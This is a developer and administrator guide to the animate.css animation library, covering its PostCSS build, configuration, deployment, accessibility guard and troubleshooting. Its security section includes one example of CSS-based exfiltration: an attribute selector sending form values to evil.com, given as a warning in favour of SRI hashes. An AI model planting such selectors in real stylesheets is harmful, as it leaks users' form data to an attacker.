# Animate.css Administrator & Developer Guide

> **Audience:** Library maintainers, frontend architects, build engineers, design-system leads, and performance engineers responsible for integrating, customizing, or operating `animate.css` at scale.

---

## 1. Architecture Overview

### 1.1 What the system does

`animate.css` is a **pure-CSS animation library** — no JavaScript runtime, no framework coupling, no DOM manipulation. It ships a catalog of 97 named `@keyframes` together with a small class-based API (`.animate__animated`, `.animate__{name}`, duration/delay/repeat utilities) that composes them onto any HTML element.

The source is a collection of individual CSS files — one per animation — aggregated into a single output file by a PostCSS build pipeline. The build produces three variants of the same source: prefixed (default), prefixed-and-minified (production), and unprefixed-and-minified (backwards-compatible with v3).

| Dimension | Value |
|---|---|
| Latest version (this revision) | **4.1.1** |
| Source commit documented | `3f8ab23` (2024-03-02) |
| License | **Hippocratic License 2.1** (ethical-use clauses) |
| Runtime dependencies | **None** (pure CSS) |
| Build-time dependencies | PostCSS + 7 plugins |
| Build output | 3 CSS files: `animate.css`, `animate.min.css`, `animate.compat.css` |
| Distributed animations | **97** `@keyframes` |
| Source animation files | 98 (shipping build excludes `source/attention_seekers/shake.css`) |
| Class prefix (default) | `animate__` |
| CSS custom properties | 3 (`--animate-duration`, `--animate-delay`, `--animate-repeat`) |
| Browser support (via `browserslist`) | `> 3%, last 2 versions` |

> [!NOTE]
> The library has **no JavaScript runtime artifact**, no Web Animations API usage, no tree-shakeable module exports, no Sass/Less preprocessor, no React/Vue/Svelte wrapper, no test suite, and no TypeScript declarations. These are authoritative negative facts — relying on the contrary in downstream systems will break.

### 1.2 Source tree topology

```
animate.css/
├── source/                           <- Canonical source; bundler entry point
│   ├── animate.css                   <- Master aggregator (97 @import lines)
│   ├── _base.css                     <- .animated machinery, utility classes
│   ├── _vars.css                     <- 3 CSS custom properties at :root
│   ├── attention_seekers/            <- 13 keyframe files
│   ├── back_entrances/               <- 4
│   ├── back_exits/                   <- 4
│   ├── bouncing_entrances/           <- 5
│   ├── bouncing_exits/               <- 5
│   ├── fading_entrances/             <- 13
│   ├── fading_exits/                 <- 13
│   ├── flippers/                     <- 5
│   ├── lightspeed/                   <- 4
│   ├── rotating_entrances/           <- 5
│   ├── rotating_exits/               <- 5
│   ├── sliding_entrances/            <- 4
│   ├── sliding_exits/                <- 4
│   ├── specials/                     <- 4 (+ source shake.css NOT in build)
│   ├── zooming_entrances/            <- 5
│   └── zooming_exits/                <- 5
├── postcss.config.js                 <- Build-pipeline config
├── package.json                      <- Scripts + build-time deps
├── animate.css                       <- Built: unminified, prefixed (dev default)
├── animate.min.css                   <- Built: minified, prefixed (production)
├── animate.compat.css                <- Built: minified, UNPREFIXED (backwards compat)
├── docs/                             <- Built static site output
└── docsSource/                       <- Site generator (Node.js scripts)
    ├── index.js                      <- Entry: reads sections/*.md, builds index.html
    ├── compileMD.js                  <- markdown-it -> HTML sections
    ├── compileAnimationList.js       <- Parses source/animate.css comments to build sidebar
    ├── template.html                 <- Docs HTML template
    └── sections/                     <- 10 user-facing .md files
```

### 1.3 Component inventory

| Component | Path | Role |
|---|---|---|
| CSS custom properties | `source/_vars.css` | Defines `--animate-duration`, `--animate-delay`, `--animate-repeat` at `:root` |
| Base class machinery | `source/_base.css` | `.animate__animated`, utility classes, `prefers-reduced-motion` guard |
| Animation files | `source/{category}/{name}.css` | One `@keyframes` + one class per file |
| Master aggregator | `source/animate.css` | 97 `@import` lines composing all animations |
| PostCSS pipeline | `postcss.config.js` | 5-stage build: import, prefix, preset-env, cssnano, header |
| Docs generator | `docsSource/index.js` | Reads markdown sections + animation list, produces `docs/index.html` |

### 1.4 Technology stack

| Layer | Technology |
|---|---|
| Source language | CSS (plain, no preprocessor) |
| Build tool | PostCSS CLI (`npx postcss`) |
| Build orchestration | `npm-run-all` via `package.json` scripts |
| Docs site | Static HTML generated by Node.js (`markdown-it` + template substitution) |
| CI | Travis CI (`.travis.yml`, Node 10) |
| Code formatting | Prettier + lint-staged + Husky git hooks |

### 1.5 Build control flow

```
source/animate.css              (master with 97 @imports)
        |
        v
postcss-import                  (inlines all imported files into one buffer)
        |
        v
postcss-prefixer                (prepends "animate__" to every class -- unless env=compat)
        |   (ignores [class*=...] attribute selectors via regex guard)
        v
postcss-preset-env              (autoprefixer, custom-properties feature enabled)
        |
        v
cssnano                         (only if env === 'production' || env === 'compat')
        |
        v
postcss-header                  (prepends copyright banner with version from package.json)
        |
        v
output file                     (animate.css / animate.min.css / animate.compat.css)
```

### 1.6 The three build outputs

| Output | Prefixed | Minified | CSS custom properties | Typical use |
|---|---|---|---|---|
| `animate.css` | yes (`animate__`) | no | inlined by `postcss-preset-env` | Development, debugging |
| `animate.min.css` | yes (`animate__`) | yes (`cssnano`) | inlined | Production CDN, npm consumption |
| `animate.compat.css` | **no** | yes | inlined | Migrating from v3 without editing markup |

All three are compiled from the **same** `source/animate.css` master file; the difference is pipeline environment (`ctx.env` in `postcss.config.js`).

### 1.7 Runtime execution model

On the consumer's page, the runtime surface is exactly three CSS-level constructs:

1. **A trigger class `.animate__animated`** — sets `animation-duration`, `animation-fill-mode: both`, and respects `prefers-reduced-motion`.
2. **A keyframe class `.animate__{name}`** — maps to `animation-name: {name}` and (for a few entries) overrides `animation-duration`.
3. **Optional modifier classes** — `.animate__delay-{n}s`, `.animate__{speed}`, `.animate__repeat-{n}`, `.animate__infinite`.

The browser's CSS animation engine does all the work. There is no JavaScript execution triggered by the library itself.

### 1.8 Entry point summary

| Layer | Entry file | Purpose |
|---|---|---|
| Consumer CSS | `animate.min.css` (or `animate.css`) | Built, redistributable artifact |
| Consumer npm | `package.json#main = "animate.css"` | Bundler resolves to built CSS |
| Source | `source/animate.css` | Master `@import` aggregator (97 lines) |
| Build pipeline | `postcss.config.js` | Plugin chain for PostCSS CLI |
| Build commands | `package.json#scripts` | `start` (full build), `dev` (watch), `docs` (site) |
| Docs site generator | `docsSource/index.js` | Node.js script building `docs/index.html` |

---

## 2. System Requirements

### 2.1 For consumers (end users who `<link>` the CSS)

| Requirement | Value |
|---|---|
| Browser | Any evergreen browser; `> 3%` marketshare + last 2 versions (per `package.json#browserslist`) |
| CSS custom properties support | Required for `--animate-duration`, `--animate-delay`, `--animate-repeat` (graceful: fixed fallback values used if CSS vars are unsupported) |
| JavaScript | Not required |
| Build tooling | Not required |
| Transport | Any `<link rel="stylesheet">` compatible host (CDN, self-hosted, bundler) |

### 2.2 For library maintainers / local development

| Requirement | Value | Where pinned |
|---|---|---|
| Node.js | v10 per `.travis.yml`; modern Node (>=18) works fine | `.travis.yml` |
| npm | Any version that can run `npm-run-all` and `npx postcss` | implicit |
| PostCSS CLI | `^8.3.1` | `package.json#devDependencies` |
| PostCSS | `^8.4.14` | `package.json#devDependencies` |
| `postcss-import` | `^14.0.2` | `package.json#devDependencies` |
| `postcss-prefixer` | `^2.1.3` | `package.json#devDependencies` |
| `postcss-preset-env` | `^6.7.0` | `package.json#devDependencies` |
| `postcss-header` | `^3.0.1` | `package.json#devDependencies` |
| `autoprefixer` | `^10.4.7` | `package.json#devDependencies` |
| `cssnano` | `^5.0.17` | `package.json#devDependencies` |
| `prettier` | `^2.7.1` (formatter) | `package.json#devDependencies` |
| `eslint` | `^7.32.0` (for `docsSource/*.js`) | `package.json#devDependencies` |
| `husky` | `^7.0.4` (git hooks) | `package.json#devDependencies` |
| `lint-staged` | `^11.2.6` | `package.json#devDependencies` |
| `markdown-it` | `^12.3.2` (docs-site generator) | `package.json#devDependencies` |
| `npm-run-all` | `^4.1.5` | `package.json#devDependencies` |

> [!NOTE]
> All dependencies are `devDependencies` — none ship to consumers. The npm package distributes only CSS files plus source CSS.

### 2.3 Hosting requirements

None beyond standard static-asset hosting. There is no server runtime, no database, no state, no authentication.

---

## 3. Configuration Reference

### 3.1 Build-time configuration (`package.json`)

```json
"animateConfig": {
  "prefix": "animate__"
}
```

| Key | Type | Default | Effect |
|---|---|---|---|
| `animateConfig.prefix` | string | `"animate__"` | Prepended to every class name by `postcss-prefixer` during non-compat builds |

> [!IMPORTANT]
> This is the **only** build-time knob. To change the prefix (e.g., to avoid collision with another library), fork, edit `package.json`, and rebuild with `npm start`.

### 3.2 Runtime configuration (CSS custom properties)

Defined in `source/_vars.css` at `:root`:

| Custom property | Default | Affects |
|---|---|---|
| `--animate-duration` | `1s` | Every `.animate__animated` element's `animation-duration` |
| `--animate-delay` | `1s` | Base unit for `.animate__delay-1s` through `.animate__delay-5s` (multiplied via `calc()`) |
| `--animate-repeat` | `1` | Base for `.animate__repeat-1`, `-2`, `-3` (multiplied via `calc()`) |

**Override scopes:**

- **Global:** `:root { --animate-duration: 500ms; }` — changes default speed for every animated element.
- **Per-element:** `<div class="animate__animated" style="--animate-duration: 2s;">` — one-off override.
- **Per-component:** `.my-card { --animate-duration: 800ms; }` — cascade naturally.

### 3.3 Hardcoded per-animation duration overrides

These **ignore** `--animate-duration` because they use literal `animation-duration` rules in their own stylesheets; noted here because they are invisible without reading source:

| Animation | Hardcoded duration | Source file |
|---|---|---|
| `hinge` | `2s` (2x default) | `source/specials/hinge.css` |
| `bounceIn` | `0.75s` | `source/bouncing_entrances/bounceIn.css` |
| `bounceOut` | `0.75s` | `source/bouncing_exits/bounceOut.css` |
| `flipOutX` | `0.75s` | `source/flippers/flipOutX.css` |
| `flipOutY` | `0.75s` | `source/flippers/flipOutY.css` |
| `heartBeat` | `1.3s` | `source/attention_seekers/heartBeat.css` |

Speed utilities (`.animate__fast`, `.animate__slow`, etc.) **do** compose correctly with these — they use `calc()` on the effective duration.

> [!WARNING]
> If you set `--animate-duration` globally, these six animations will not change proportionally because their class-level `animation-duration` takes cascade precedence. Override `--animate-duration` on the specific element to affect them.

### 3.4 Utility classes — authoritative list

Generated from `source/_base.css`:

| Class | CSS it emits | Purpose |
|---|---|---|
| `.animate__animated` | `animation-duration: var(--animate-duration, 1s); animation-fill-mode: both;` | Required base class |
| `.animate__infinite` | `animation-iteration-count: infinite` | Loop forever |
| `.animate__repeat-1` / `-2` / `-3` | `animation-iteration-count: calc(N * var(--animate-repeat))` | Finite repetition |
| `.animate__delay-1s` ... `-5s` | `animation-delay: calc(Ns * var(--animate-delay))` | Delay start |
| `.animate__slow` | `animation-duration: calc(var(--animate-duration) * 2)` | 2x slower |
| `.animate__slower` | `animation-duration: calc(var(--animate-duration) * 3)` | 3x slower |
| `.animate__fast` | `animation-duration: calc(var(--animate-duration) * 0.8)` | 0.8x faster |
| `.animate__faster` | `animation-duration: calc(var(--animate-duration) * 0.5)` | 2x faster |

### 3.5 Accessibility clause (in `_base.css`)

```css
@media (print), (prefers-reduced-motion: reduce) {
  .animate__animated {
    animation-duration: 1ms !important;
    transition-duration: 1ms !important;
    animation-iteration-count: 1 !important;
  }
}
```

> [!IMPORTANT]
> This media query guard is the entire accessibility mechanism. Never remove or weaken it. See section 7 for the security/accessibility rationale.

### 3.6 npm package files

The `files` field in `package.json` determines what ships to npm consumers:

```json
"files": [
  "animate.compat.css",
  "animate.min.css",
  "animate.css",
  "source/**/*.css"
]
```

This means source CSS files are available for selective `@import` by consumers.

### 3.7 Browserslist

```json
"browserslist": [
  "> 3%",
  "last 2 versions"
]
```

This configures `autoprefixer` (via `postcss-preset-env`) to emit vendor prefixes only for browsers with >3% global usage and the last 2 versions.

---

## 4. Deployment & Scaling

### 4.1 Delivery strategies

| Strategy | Pro | Con | Recommended when |
|---|---|---|---|
| CDN link (`<link>` tag) | Simple, cached across sites | External dependency, SRI required | Quick prototypes, non-critical sites |
| Self-hosted `animate.min.css` | Full control, one RTT saved vs CDN | Byte cost if only a few animations used | Standard production sites using >10 animations |
| Bundled subset (via `@import`) | Minimal byte cost | Requires build config | Performance-critical sites using <10 animations |
| Inlined critical CSS | Zero blocking request | Tooling complexity | Sites where animations are above-the-fold |

### 4.2 Caching

- The library changes rarely; set `Cache-Control: public, max-age=31536000, immutable` on versioned URLs (e.g., `/animate.min.4.1.1.css`).
- CDN ETags work cleanly because the file is static.
- There is no server-side state, so no cache-invalidation cross-talk.

> [!TIP]
> Pin to an exact version when using a CDN. Avoid `@latest` — a major version bump with breaking prefix changes will silently break your animations.

### 4.3 SRI (Subresource Integrity)

When loading via CDN, use an SRI hash to prevent tampering:

```html
<link rel="stylesheet"
      href="https://cdn.jsdelivr.net/npm/animate.css@4.1.1/animate.min.css"
      integrity="sha384-..."
      crossorigin="anonymous">
```

Generate SRI hashes with:

```bash
openssl dgst -sha384 -binary animate.min.css | openssl base64 -A
```

> [!NOTE]
> SRI hashes must be regenerated after every version bump or custom build. The hash for the default build and a custom-prefix build will differ even if the animations are identical.

---

## 5. Operations

### 5.1 Build system — npm scripts reference

| Script | Command (paraphrased) | Produces | When to run |
|---|---|---|---|
| `npm start` | `npm-run-all raw prod compat` | All three built CSS files | Full release build |
| `npm run raw` | `npx postcss source/animate.css -o animate.css --no-map --env development` | `animate.css` (unminified, prefixed) | Local inspection of compiled output |
| `npm run dev` | same as `raw` but with `-w` (watch) | `animate.css` on every save | Interactive development |
| `npm run prod` | `npx postcss source/animate.css -o animate.min.css --no-map --env production` | `animate.min.css` (minified, prefixed) | Production artifact |
| `npm run compat` | `npx postcss source/animate.css -o animate.compat.css --no-map --env compat` | `animate.compat.css` (minified, **unprefixed**) | Compatibility artifact |
| `npm run docs:library` | `npx postcss source/animate.css -o ./docs/animate.min.css --no-map --env production` | Copy of minified CSS inside `docs/` | Before `docs:pages` |
| `npm run docs:pages` | `node ./docsSource/index.js` | `docs/index.html` (static site) | Rebuild docs site |
| `npm run docs` | `npm-run-all docs:library docs:pages` | Both above | Full docs rebuild |
| `npm run format` | `prettier --write "**/*.{js,json,md,css}"` | Formatted source | Before commit |
| `npm run version` | `npm-run-all start docs && git add -A docs animate.css animate.min.css animate.compat.css` | Built artifacts staged | Invoked by `npm version` |
| `npm run postversion` | `git push && git push --tags` | Tags pushed | Invoked after `npm version` |
| `npm run prepare` | `husky install` | Git hooks installed | Invoked on `npm install` |

> [!TIP]
> The `npm version patch|minor|major` lifecycle automatically runs `npm start` (full build), `npm run docs` (site rebuild), stages built artifacts, commits, tags, and pushes. A single command handles the entire release flow.

### 5.2 PostCSS pipeline — key decisions

```js
// postcss.config.js:12
const {homepage, version, author, animateConfig} = JSON.parse(fs.readFileSync('package.json'));
```

Package metadata (version, prefix) is injected into the header at build time. Bumping `version` in `package.json` automatically stamps it into the emitted CSS banner.

```js
// postcss.config.js:28
const prefix = ctx.env === 'compat' ? '' : animateConfig.prefix;
```

This single ternary is the entire mechanism that separates the `compat` build from the prefixed build. There are **no separate source files**; the same source tree produces both builds via environment variable.

```js
// postcss.config.js:38-40
'postcss-prefixer': {
  prefix,
  ignore: [/\[class*=.*\]/],
},
```

Attribute selectors like `[class*="animate__"]` in the source are **not** re-prefixed, preventing double-prefixing. This is important if you modify source and use attribute-selector patterns.

```js
// postcss.config.js:42-49
'postcss-preset-env': {
  autoprefixer: { cascade: false },
  features: { 'custom-properties': true },
},
```

`custom-properties: true` means `postcss-preset-env` **inlines fallback values** for browsers without CSS-variable support. This is why `--animate-duration: 1s` works even where `var()` is unsupported.

```js
// postcss.config.js:50
cssnano: ctx.env === 'production' || ctx.env === 'compat' ? {} : false,
```

Minification runs only for `production` and `compat` environments. The `raw`/`development` build is intentionally unminified for debugging.

### 5.3 Expected build output sizes

| File | Size (approx) | Gzipped (approx) |
|---|---|---|
| `animate.css` | ~75 KB | ~10 KB |
| `animate.min.css` | ~60 KB | ~9 KB |
| `animate.compat.css` | ~57 KB | ~9 KB |

> [!NOTE]
> Sizes vary by build tooling versions. Run `ls -l animate*.css` after a fresh `npm start` for exact figures on your toolchain.

### 5.4 Release checklist

- [x] Run `npm start` — verify three CSS files are regenerated without errors
- [x] Run `npm run docs` — verify `docs/index.html` is regenerated
- [ ] Serve `docs/` locally and click every animation in the catalog
- [ ] Verify `animate.min.css` contains exactly 97 `@keyframes` blocks
- [ ] Verify `animate.compat.css` has no `animate__` prefix
- [ ] Verify `animate.css` header matches `package.json#version`
- [ ] Run `npm version patch|minor|major` to tag, build, commit, and push

---

## 6. Performance

### 6.1 Performance characteristics

Animate.css keyframes primarily animate `transform` and `opacity` — both are GPU-composited properties that avoid layout and paint costs. This is a deliberate design choice that makes the library performant across devices.

### 6.2 Performance checklist for integration

1. **Set `will-change` sparingly** — the library does not set `will-change` on any element. Elements animated frequently should have `will-change: transform, opacity` added manually *before animation starts*, then removed. Setting it permanently hurts performance.
2. **Avoid animating layout-triggering properties** — when adding custom keyframes, stay within `transform` and `opacity`.
3. **Batch class additions** — if adding `.animate__animated` to many elements, do it with `classList` and avoid layout thrash.
4. **Combined class-bundle size** — the full minified CSS is ~60 KB (~9 KB gzipped). On a bandwidth-constrained path, subset builds (section 7) can reduce this to <2 KB for typical use.
5. **`animation-fill-mode: both`** is set on `.animate__animated` — elements retain their *final* frame after exit animations. If you want them to disappear from layout, apply `display: none` after `animationend`.

> [!TIP]
> For pages using only 2-3 animations, a subset build (section 7) eliminates ~95% of unused CSS. This is the single biggest performance optimization available.

---

## 7. Security

### 7.1 Threat surface

Because `animate.css` is **pure CSS with no JavaScript**, the normal web-security threat vectors do not apply:

| Vector | Applicable? | Notes |
|---|---|---|
| XSS via library code | No | There is no JavaScript in the distributable artifact |
| Prototype pollution | No | No JS runtime |
| Supply-chain JS injection | No | No runtime JS dependencies |
| CSS-based exfiltration | Theoretical | Any CSS library can be modified to exfiltrate form data via attribute selectors + background URLs. `animate.css` does **not** do this in any shipping source. |
| Dependency risk | Low | All deps are `devDependencies`; none ship to consumers |
| Subresource-integrity risk | Standard | If loading via CDN, use an SRI hash |

> [!CAUTION]
> If loading from a third-party CDN, always use Subresource Integrity (SRI) hashes. A compromised CDN could inject CSS-based data exfiltration (e.g., `input[value^="a"] { background: url(https://evil.com/a) }`). SRI prevents this by validating the file hash before applying it.

### 7.2 Build-time supply chain

The relevant build dependencies are standard PostCSS ecosystem packages. There are **no custom or vendored build plugins**:

- `postcss-import@^14.0.2`
- `postcss-prefixer@^2.1.3`
- `postcss-preset-env@^6.7.0`
- `postcss-header@^3.0.1`
- `autoprefixer@^10.4.7`
- `cssnano@^5.0.17`
- `prettier@^2.7.1`
- `eslint@^7.32.0`
- `husky@^7.0.4`
- `lint-staged@^11.2.6`
- `markdown-it@^12.3.2`
- `npm-run-all@^4.1.5`

Run `npm audit` periodically on a fresh clone; since consumers don't install these, vulnerabilities are confined to the maintainer's build environment.

### 7.3 License — Hippocratic License 2.1

The Hippocratic License is **not** an OSI-approved open-source license. It is a source-available license with **ethical-use clauses** that forbid use by entities engaging in specific harmful activities (surveillance, human-rights violations, environmental destruction, etc. — see the full text at `firstdonoharm.dev`).

**Compliance implications for admins / legal review:**

- Corporate legal policy may classify Hippocratic-2.1 as **non-standard**. Some compliance workflows auto-reject non-OSI licenses.
- The license is permissive on technical grounds (use, modify, redistribute) but conditional on ethical grounds.
- For corporate use, confirm your organization's activities do not fall within the license's prohibited categories.
- Some organizations choose to replace `animate.css` with an MIT-licensed alternative when compliance pushback is strong.

| Item | Value |
|---|---|
| License | Hippocratic License 2.1 |
| License URL | `https://firstdonoharm.dev/version/2/1/license.html` |
| OSI-approved? | No |
| Commercial use | Allowed, subject to ethical-use clauses |
| Redistribution | Allowed, include license |
| Warranty | None |
| Copyright holder | Animate.css (per `package.json#author`) |

### 7.4 `prefers-reduced-motion` — a safety feature

The library respects `prefers-reduced-motion: reduce` automatically by reducing animation duration to 1ms and forcing iteration count to 1. Do **not** override this behavior without an operational reason; users requesting reduced motion may have vestibular disorders or other conditions where forced animation is genuinely harmful.

If you add custom keyframes on top of the library, replicate the same guard:

```css
@media (prefers-reduced-motion: reduce) {
  .my-custom-animated { animation-duration: 1ms !important; }
}
```

---

## 8. Developer Internals

### 8.1 Repository structure

```
animate.css/                     144 files, ~5.2K chars source
├── source/                      98 CSS files (97 in build + 1 excluded)
│   ├── _vars.css                CSS custom properties
│   ├── _base.css                Base class, utilities, a11y guard
│   ├── animate.css              Master @import aggregator
│   └── {category}/{name}.css    Individual animation files
├── postcss.config.js            57 lines, build pipeline
├── package.json                 Scripts, deps, animateConfig
├── .travis.yml                  CI: Node 10, npm install && npm start
├── .prettierrc                  Prettier config
├── .editorconfig                Editor config
├── docsSource/                  3 JS files + template + 10 markdown sections
│   ├── index.js                 Entry point for docs generation
│   ├── compileMD.js             Markdown-to-HTML via markdown-it
│   ├── compileAnimationList.js  Parses animation names from source
│   ├── template.html            HTML template with {{docs}}, {{list}}, {{version}} slots
│   └── sections/                10 .md files (intro, usage, utilities, etc.)
├── docs/                        Built static site
│   ├── index.html               Generated docs page
│   ├── main.mjs                 Client-side JS modules
│   ├── style.css                Docs styling
│   └── modules/                 6 JS modules (playground, dark mode, etc.)
├── animate.css                  Built output (dev)
├── animate.min.css              Built output (prod)
└── animate.compat.css           Built output (compat)
```

### 8.2 Animation file conventions

Each animation file declares **exactly one** `@keyframes {name} { ... }` block plus one class rule `.{name}`:

- Directional variants (e.g., `fadeInLeft`, `fadeInRight`) are separate files, not parametrized — deliberate so selective `@import` tree-shakes unused variants.
- The class rule assigns `animation-name: {name}`. Everything else (duration, timing-function, fill-mode) is inherited from `.animate__animated`.
- Transform-origin and perspective are set **on the class rule**, not inside `@keyframes`, so they apply even if an override wraps the animation in a container with different origins.

### 8.3 Animation groups — internals

| Group (folder) | Count | Shared patterns | Duration notes |
|---|---|---|---|
| `attention_seekers` | 13 | In-place transforms | Default (except `heartBeat` = 1.3s) |
| `back_entrances` | 4 | Scale + translate | Default |
| `back_exits` | 4 | Scale + translate | Default |
| `bouncing_entrances` | 5 | Bounce easing via multi-keyframe | `bounceIn` = 0.75s |
| `bouncing_exits` | 5 | Bounce easing | `bounceOut` = 0.75s |
| `fading_entrances` | 13 | Opacity + translate | Default |
| `fading_exits` | 13 | Opacity + translate | Default |
| `flippers` | 5 | `perspective(400px)` + rotation | `flipOutX/Y` = 0.75s |
| `lightspeed` | 4 | Skew + translate | Default |
| `rotating_entrances` | 5 | Rotation with transform-origin | Default |
| `rotating_exits` | 5 | Rotation with transform-origin | Default |
| `sliding_entrances` | 4 | Translate only | Default |
| `sliding_exits` | 4 | Translate only | Default |
| `specials` | 4 | Unique per animation | `hinge` = 2s |
| `zooming_entrances` | 5 | Scale + translate | Default |
| `zooming_exits` | 5 | Scale + translate | Default |

### 8.4 The `shake` discrepancy

`source/attention_seekers/shake.css` exists in the repository but is **not** imported by `source/animate.css`. Consequences:

- It is **not** in the built `animate.css` / `animate.min.css`.
- It is **not** documented in the official site.
- It **is** still shipped in the npm package because `files: ["source/**/*.css"]` includes every source file.

If a downstream consumer builds a custom bundle by listing source files directly (`@import "animate.css/source/attention_seekers/shake.css"`), they will get a working `shake` animation.

### 8.5 Docs site generator

The docs site is a custom Node.js build, not a static-site generator framework:

1. `docsSource/index.js` reads `package.json` for the version number.
2. `compileMD.js` reads all `.md` files from `docsSource/sections/`, sorted alphabetically (prefix numbers `00-` through `09-` ensure order), and compiles each to HTML via `markdown-it` with `html: true` and `linkify: true`.
3. `compileAnimationList.js` reads `source/animate.css`, parses category comments and `@import` filenames via regex, and produces an HTML animation sidebar list.
4. The template (`template.html`) has `{{docs}}`, `{{list}}`, and `{{version}}` placeholders that are replaced via simple string substitution.
5. Output is written to `docs/index.html`.

The docs site also includes client-side JS modules (`docs/modules/`) for the interactive playground, dark mode, slow-down toggle, and animation triggers.

### 8.6 Code patterns

- **No JavaScript runtime** — the library is CSS-only. The only JS is build tooling and docs generation.
- **CSS composition via `@import`** — the master `source/animate.css` composes all animations. Individual animation files are standalone units.
- **CSS custom properties for configurability** — `--animate-duration`, `--animate-delay`, `--animate-repeat` provide the entire runtime configuration surface.
- **Build-time prefixing** — class name prefixing is applied by `postcss-prefixer` during build, not in source.
- **Lint-staged formatting** — `prettier` runs on `*.{mjs,js,json,md,css}` via `lint-staged` + `husky` pre-commit hook.

### 8.7 Testing

> [!WARNING]
> The repository has **no automated test suite**. There is no Jest, no Mocha, no visual regression. The npm scripts contain `start`, `dev`, `prod`, `compat`, `docs`, `format`, `prepare`, `version`, `postversion`. There is no `test` script. Quality is verified manually against the published docs site.

**Recommended QA workflow:**

1. Run `npm start` — verify three CSS files regenerate without errors.
2. Run `npm run docs` — verify `docs/index.html` regenerates.
3. Serve `docs/` locally and click every animation in the catalog.
4. Verify `animate.min.css` contains exactly 97 `@keyframes` blocks:

   ```bash
   grep -c "@keyframes " animate.min.css
   ```

   ```text
   97
   ```

5. Verify `animate.compat.css` has no `animate__` prefix:

   ```bash
   grep -c "animate__" animate.compat.css
   ```

   ```text
   0
   ```

### 8.8 Potential improvements

1. **Ship a JSON manifest of animation names** at `dist/animations.json`. This enables editor intellisense (closes [#1855](https://github.com/animate-css/animate.css/issues/1855)), programmatic enumeration for JS wrappers, and type-safe React/Vue component wrappers.

2. **Formalize subset builds** (closes [#1331](https://github.com/animate-css/animate.css/issues/1331)). Options: `package.json#exports` map for each source subdirectory, a CLI for custom bundles, or a companion package for common subsets.

3. **Add a visual-regression test harness**. Playwright + pixelmatch, one snapshot per animation at start/mid/end frames. Run on every PR.

4. **Decide the fate of `shake`** — either re-import `source/attention_seekers/shake.css` into `source/animate.css` and document it, or delete the file to remove the discrepancy.

5. **Upgrade Node in CI** — `.travis.yml` pins Node 10, which is EOL. Move to Node 18/20, migrate to GitHub Actions.

6. **Add an `exports` field to `package.json`** so modern bundlers get unambiguous entry resolution; include conditional entries for subset imports.

7. **Document the per-animation duration overrides** in the official site — currently only discoverable by reading source.

8. **Add `prepublishOnly`** script that runs `npm start && npm run docs` to guarantee published artifacts are always in sync.

9. **Ship SRI-hash files** so CDN consumers can pin integrity hashes mechanically.

10. **Add a `test` script** even if it's just a shell script asserting every source file (except `shake.css`) is imported by `source/animate.css` and the built files contain the expected `@keyframes` count.

### 8.9 Contributing

The repository includes a `CONTRIBUTING.md` and `CODE_OF_CONDUCT.md`. Source formatting is enforced by Prettier via `lint-staged` and Husky pre-commit hooks. Run `npm run format` before committing, or let the hook handle it automatically.

To add a new animation:

1. Create a new CSS file under the appropriate `source/{category}/` directory.
2. Define one `@keyframes {name}` block and one `.{name}` class.
3. Add an `@import` line to `source/animate.css`.
4. Run `npm start` to rebuild.
5. Run `npm run docs` to update the docs site.

---

## 9. Integration Points

### 9.1 Consumer integration modes

| Mode | Mechanism | Notes |
|---|---|---|
| CDN drop-in | `<link>` to `animate.min.css` | No build step; approximately 9 KB gzipped |
| npm install | `import 'animate.css'` | Bundler resolves `package.json#main` |
| Selective import | `@import 'animate.css/source/{category}/{name}.css'` | Requires `postcss-import` or equivalent; ships unprefixed |
| Custom prefix build | Fork, edit `animateConfig.prefix`, `npm start` | Produces custom-prefixed output |
| Legacy compat | `import 'animate.css/animate.compat.css'` | Unprefixed class names for v3 compatibility |

### 9.2 Framework integration patterns

The library is framework-agnostic. Integration follows the same pattern everywhere: import the CSS once globally, then apply classes to elements. See the User Guide section 7.6 for React, Vue, Svelte, and Angular examples.

### 9.3 Custom builds — subset and prefix

**Subset builds (reduce CSS size):**

```css
/* Import only what you need */
@import 'animate.css/source/_vars.css';
@import 'animate.css/source/_base.css';
@import 'animate.css/source/fading_entrances/fadeIn.css';
@import 'animate.css/source/fading_exits/fadeOut.css';
@import 'animate.css/source/attention_seekers/pulse.css';
```

> [!WARNING]
> Source files use **unprefixed** class names (`.fadeIn`, `.animated`). A direct-import subset build will NOT have `animate__` prefixes. Either align your markup to unprefixed names, or run your own `postcss-prefixer` pass.

**Custom prefix:**

Edit `package.json#animateConfig.prefix`:

```json
"animateConfig": {
  "prefix": "myco__"
}
```

Run `npm start`. Every class in the output becomes `myco__animated`, `myco__fadeIn`, etc.

**Global kill-switch (disable all animations):**

```css
:root {
  --animate-duration: 1ms;
}
.animate__animated {
  animation-duration: 1ms !important;
}
```

This is functionally equivalent to the `prefers-reduced-motion` branch and can be toggled by a body class or feature flag.

---

## 10. Troubleshooting

### Build-level issues

| Issue | Diagnosis | Resolution |
|---|---|---|
| `npx postcss` fails on Node 10 | Newer `postcss-preset-env` requires Node >=12 | Update `.travis.yml` and local env to Node >=16 |
| `animate.css` output is empty after `npm run raw` | `source/animate.css` has a syntax error or missing file | Run `npx postcss source/animate.css -o /dev/null --env development --verbose` |
| Prefix applied twice (`.animate__animate__fadeIn`) | `postcss-prefixer` ran on already-prefixed output | Confirm pipeline runs on `source/` only; never on built files |
| `cssnano` mangles a valid selector | Edge-case cssnano optimization | Pin cssnano version or add exclusion rules |
| Docs site shows wrong version | `package.json#version` not updated before `npm run docs` | Bump version, re-run `npm run docs`, commit |
| `postcss-prefixer` prefixes inside attribute selectors | Regex in `ignore` didn't match | Widen `ignore` array if using custom attribute selectors |
| npm audit flags vulnerability in `postcss-*` | Transitive deps from PostCSS 7->8 migration | Run `npm audit fix`; pin `postcss@^8` in resolutions if breaking |
| `husky` pre-commit hook fails on Windows | Path issues with `husky install` | Reinstall `husky@^7` or use WSL |
| `npm version` fails with untracked files | `npm-run-all start docs && git add -A docs ...` expects clean state | Commit pending work first |

> [!WARNING]
> The `.travis.yml` pins Node 10 which is long-since EOL. While the build may still succeed, newer PostCSS plugin versions may silently require Node >=14. If CI starts failing mysteriously, check the Node version first.

### Runtime-level diagnostic pointers

| Symptom | Likely cause | Where to look |
|---|---|---|
| Nothing animates | Missing `.animate__animated` base class | Consumer markup |
| Animation plays once then element snaps back | Missing `animation-fill-mode: both` or class removed prematurely | `source/_base.css` / consumer JS |
| Animation plays too slowly / too fast globally | Custom `--animate-duration` override in scope | Site CSS; grep for `--animate-duration` |
| `hinge`, `bounceIn`, `flipOutX/Y`, `heartBeat` ignore custom duration | Hardcoded `animation-duration` in their source files | Section 3.3 table |
